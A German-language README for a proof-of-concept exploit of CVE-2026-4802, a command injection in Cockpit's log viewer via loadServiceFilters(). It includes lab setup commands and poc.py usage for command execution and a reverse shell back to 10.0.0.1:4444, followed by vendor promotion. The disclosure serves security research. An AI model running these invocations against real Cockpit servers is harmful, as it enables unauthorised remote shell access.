hakaioffsec/cve-2026-4802Proof-of-Concept-Exploit für CVE-2026-4802, eine Befehlsinjektions-Schwachstelle in der Systemprotokoll-Oberfläche von Cockpit, die die Ausführung beliebiger Befehle und Reverse Shells ermöglicht.
Ein Proof-of-Concept-Exploit für CVE-2026-4802, eine Remote Code Execution durch Command Injection in der Systemprotokoll-Oberfläche von Cockpit (loadServiceFilters())
Die verwundbare Umgebung erstellen und ausführen:
$ docker build -t cockpit-vuln .
$ docker run --rm -d --privileged -p 9090:9090 cockpit-vuln
# Prüfen, ob das Ziel verwundbar ist
$ python3 poc.py --url http://localhost:9090 --user viewer --pass viewer --mode check
# Beliebige Befehle ausführen
$ python3 poc.py --url http://localhost:9090 --user viewer --pass viewer --mode exec --cmd "id"
# Reverse Shell
$ python3 poc.py --url http://localhost:9090 --user viewer --pass viewer --mode reverse --lhost 10.0.0.1 --lport 4444
pkg/systemd/logsJournal.jsx)Die Funktion loadServiceFilters() in pkg/systemd/logsJournal.jsx erstellt Shell-Befehle, indem Arrays zu Strings zusammengefügt werden, wobei nur Leerzeichen escaped werden, bevor sie an /bin/bash -ec übergeben werden. Benutzergesteuerte Parameter aus dem URL-Fragment der Protokollseite (z. B. --since=) erreichen diesen Codepfad unbereinigt, was die Injektion von Shell-Metazeichen wie Befehlssubstitution ($(...)) ermöglicht.
Dieses Tool dient ausschließlich Bildungs- und Forschungszwecken. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie ausdrücklich die Erlaubnis zum Testen haben. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Programm verursacht werden.
QuimeraX Intelligence ist eine fortschrittliche EASM- und Cyber-Threat-Intelligence-Plattform, die sich auf die Identifizierung kritischer Schwachstellen in komplexen Systemen spezialisiert hat. Die Plattform überwacht, erkennt und meldet Sicherheitsbedrohungen proaktiv an Kunden und gewährleistet Transparenz und schnelle Reaktion auf potenzielle Risiken. Kunden erhalten sofortige Benachrichtigungen und umfassende Berichte, wenn ihre Systeme als verwundbar eingestuft werden, sodass sie Schutzmaßnahmen ergreifen können. mehr erfahren
Hakai Security ist ein Cybersicherheitsunternehmen, das von Sicherheitsexperten gegründet wurde und sich technischer Exzellenz verpflichtet fühlt. Wir bieten maßgeschneiderte Sicherheitslösungen an, darunter fortgeschrittene Penetrationstests, realistische Red-Team-Simulationen und sichere Entwicklungspraktiken, um die Vermögenswerte unserer Kunden proaktiv vor sich entwickelnden Cyber-Bedrohungen zu schützen.